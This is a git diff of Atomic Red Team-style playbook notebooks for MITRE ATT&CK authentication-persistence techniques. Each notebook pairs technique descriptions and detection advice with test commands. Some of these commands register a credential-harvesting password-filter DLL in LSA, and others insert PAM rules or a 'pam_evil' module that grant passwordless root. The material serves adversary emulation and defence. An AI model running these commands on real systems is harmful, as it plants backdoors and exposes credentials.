specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation." }, { "cell_type": "markdown", - "id": "d49e11e5", + "id": "4c9abbb5", "metadata": {}, "source": "\n## Shield Active Defense\n### Baseline \n Identify key system elements to establish a baseline and be prepared to reset a system to that baseline when necessary. \n\n Identify elements of software and configuration critical to a set of objectives, define their proper values, and be prepared to reset a running system to its intended state. \n#### Opportunity\nThere is an opportunity to use tools and controls to stop an adversary's activity.\n#### Use Case\nA defender can store good copies of registry startup keys and restore them on a frequent basis. This can prevent an adversary from using them to launch malware on system startup.\n#### Procedures\nMaintain a verified baseline firewall configuration and use that copy as a fallback if an adversary alters that information.\nMaintain a verified list of group policies enforced on a system and use that copy if an adversary attempts to deviate from the baseline.\n" } @@ -48,13 +48,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1554.ipynb b/playbook/tactics/persistence/T1554.ipynb index 668e4c23..8ba9a759 100644 --- a/playbook/tactics/persistence/T1554.ipynb +++ b/playbook/tactics/persistence/T1554.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "353f399a", + "id": "f7618da1", "metadata": {}, - "source": "# T1554 - Compromise Client Software Binary\nAdversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host." + "source": "# T1554 - Compromise Client Software Binary\nAdversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\nSince these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host." }, { "cell_type": "markdown", - "id": "36be47cd", + "id": "f7da9490", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "5dfd3d3b", + "id": "f1fee97a", "metadata": {}, "source": "## Detection\nCollect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections." }, { "cell_type": "markdown", - "id": "aa3ff7a5", + "id": "a208923f", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA defender could monitor for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1556.001.ipynb b/playbook/tactics/persistence/T1556.001.ipynb index d3fcdf5c..8e3f0cab 100644 --- a/playbook/tactics/persistence/T1556.001.ipynb +++ b/playbook/tactics/persistence/T1556.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ad6aaa86", + "id": "8a44ff98", "metadata": {}, "source": "# T1556.001 - Domain Controller Authentication\nAdversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)" }, { "cell_type": "markdown", - "id": "85b1dce5", + "id": "6d96b110", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "d0dacfa6", + "id": "b1ac1ad3", "metadata": {}, "source": "## Detection\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1556.002.ipynb b/playbook/tactics/persistence/T1556.002.ipynb index dab02954..d4e3506f 100644 --- a/playbook/tactics/persistence/T1556.002.ipynb +++ b/playbook/tactics/persistence/T1556.002.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "94364ce7", + "id": "00f56f28", "metadata": {}, "source": "# T1556.002 - Password Filter DLL\nAdversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)" }, { "cell_type": "markdown", - "id": "1bec37c7", + "id": "b0c49078", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9122812e", + "id": "fa55ea53", "metadata": {}, - "source": "### Atomic Test #1 - Install and Register Password Filter DLL\nUses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\\#{dll_name})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll\" -OutFile \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\"\n\n```" + "source": "### Atomic Test #1 - Install and Register Password Filter DLL\nUses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\\#{dll_name})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll\" -OutFile \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9e3c9a78", + "id": "db8586c9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e3953cfc", + "id": "b39f1bd8", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nreg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\n$passwordFilterName = (Copy-Item \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$notificationPackagesValues = $lsaKey.GetValue(\"Notification Packages\")\n$notificationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Notification Packages\" $notificationPackagesValues\n```" + "```powershell\nreg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ \"PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\"\n$passwordFilterName = (Copy-Item \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$notificationPackagesValues = $lsaKey.GetValue(\"Notification Packages\")\n$notificationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Notification Packages\" $notificationPackagesValues\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0f89ce2a", + "id": "408be85e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "ea21dd4d", + "id": "4ba41491", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nreg.exe import PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\nremove-item C:\\Windows\\System32\\AtomicRedTeamPWFilter.dll\n```" + "source": "#### Cleanup: \n```powershell\nreg.exe import \"PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\"\nremove-item C:\\Windows\\System32\\AtomicRedTeamPWFilter.dll\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5301e150", + "id": "1fc0d2f3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "d16c382e", + "id": "4ccae0fa", "metadata": {}, "source": "## Detection\nMonitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1556.003.ipynb b/playbook/tactics/persistence/T1556.003.ipynb index 3097bd92..0f9126ef 100644 --- a/playbook/tactics/persistence/T1556.003.ipynb +++ b/playbook/tactics/persistence/T1556.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9b84a873", + "id": "0e688351", "metadata": {}, "source": "# T1556.003 - Pluggable Authentication Modules\nAdversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)" }, { "cell_type": "markdown", - "id": "cfec5ff4", + "id": "24207736", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "32a95148", + "id": "d6fe7b7c", "metadata": {}, "source": [ "### Atomic Test #1 - Malicious PAM rule", @@ -28,42 +28,77 @@ { "cell_type": "code", "execution_count": null, - "id": "e05cbbc9", + "id": "70a37e8f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "9e437d30", + "id": "36ed101a", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo sed -i \"\\,auth sufficient pam_succeed_if.so uid >= 0,d\" /etc/pam.d/su-l\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bd72642d", + "id": "b37b8cb9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "271c41cd", + "id": "3d1586c3", "metadata": {}, - "source": "### Atomic Test #2 - Malicious PAM module\nCreates a PAM module, inserts a rule to use it, and then tests it.\n\nUpon successful execution, this test will create a PAM module that allows every user to su to root without a password.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The PAM development library must be installed to build the PAM module\n\n##### Check Prereq Commands:\n```sh\nif [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ -n \"`which apt-get`\" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n \"`which yum`\" ]; then sudo yum -y install pam-devel; fi\n\n```\n##### Description: The PAM module must exist on disk at specified location (#{path_to_pam_module})\n\n##### Check Prereq Commands:\n```sh\nif [ -f /tmp/pam_evil.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nsudo gcc -shared -fPIC -o /tmp/pam_evil.so PathToAtomicsFolder/T1556.003/src/pam_evil.c\n\n```" + "source": [ + "### Atomic Test #2 - Malicious PAM rule (freebsd)", + "Inserts a rule into a PAM config and then tests it.\n\nUpon successful execution, this test will insert a rule that allows every user to su to root without a password.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo sed -i \"\" \"8s,^,auth sufficient pam_succeed_if.so uid >= 0\\n,g\" /etc/pam.d/su\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ba2ff06b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "08ef40f0", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsudo sed -i \"\" \"/auth sufficient pam_succeed_if.so uid >= 0/d\" /etc/pam.d/su\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4debc243", + "id": "96dc4e95", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2 -GetPreReqs" + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "d40b6519", + "id": "532ec55d", + "metadata": {}, + "source": "### Atomic Test #3 - Malicious PAM module\nCreates a PAM module, inserts a rule to use it, and then tests it.\n\nUpon successful execution, this test will create a PAM module that allows every user to su to root without a password.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The PAM development library must be installed to build the PAM module\n\n##### Check Prereq Commands:\n```sh\nif [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ -n \"`which apt-get`\" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n \"`which yum`\" ]; then sudo yum -y install pam-devel; fi\n\n```\n##### Description: The PAM module must exist on disk at specified location (#{path_to_pam_module})\n\n##### Check Prereq Commands:\n```sh\nif [ -f /tmp/pam_evil.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nsudo gcc -shared -fPIC -o /tmp/pam_evil.so PathToAtomicsFolder/T1556.003/src/pam_evil.c\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "381c4905", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "a9c3d122", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -73,28 +108,28 @@ { "cell_type": "code", "execution_count": null, - "id": "fb096ab0", + "id": "0ac810fb", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2" + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "eed0d06d", + "id": "48429110", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo sed -i \"\\,auth sufficient /tmp/pam_evil.so,d\" /etc/pam.d/su-l\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3f2df853", + "id": "fd6c2a02", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "60adab1d", + "id": "39342014", "metadata": {}, "source": "## Detection\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access)." } @@ -102,13 +137,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1556.004.ipynb b/playbook/tactics/persistence/T1556.004.ipynb index 5d38920d..bd659d27 100644 --- a/playbook/tactics/persistence/T1556.004.ipynb +++ b/playbook/tactics/persistence/T1556.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c6abbca6", + "id": "9437579a", "metadata": {}, "source": "# T1556.004 - Network Device Authentication\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)" }, { "cell_type": "markdown", - "id": "c7e63189", + "id": "e693287f", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "7629a8ab", + "id": "2e98fa38", "metadata": {}, "source": "## Detection\nConsider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601)." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1556.005.ipynb b/playbook/tactics/persistence/T1556.005.ipynb index 75c015bc..ad57f905 100644 --- a/playbook/tactics/persistence/T1556.005.ipynb +++ b/playbook/tactics/persistence/T1556.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9b96c7ac", + "id": "8c754cda", "metadata": {}, "source": "# T1556.005 - Reversible Encryption\nAn adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true." }, { "cell_type": "markdown", - "id": "e5ba715c", + "id": "6600a687", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "36812b09", + "id": "e4fbb587", "metadata": {}, "source": "## Detection\nMonitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1556.006.ipynb b/playbook/tactics/persistence/T1556.006.ipynb index b5b45719..5560feae 100644 --- a/playbook/tactics/persistence/T1556.006.ipynb +++ b/playbook/tactics/persistence/T1556.006.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "86e701ad", + "id": "9909e05d", "metadata": {}, "source": "# T1556.006 - Multi-Factor Authentication\nAdversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) " }, { "cell_type": "markdown", - "id": "a1b42229", + "id": "844e1ae5", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1556.007.ipynb b/playbook/tactics/persistence/T1556.007.ipynb index bbde1cda..1b655fe4 100644 --- a/playbook/tactics/persistence/T1556.007.ipynb +++ b/playbook/tactics/persistence/T1556.007.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "213d2132", + "id": "c9a6587b", "metadata": {}, "source": "# T1556.007 - Hybrid Identity\nAdversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)" }, { "cell_type": "markdown", - "id": "1418a30a", + "id": "5c9ab120", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { 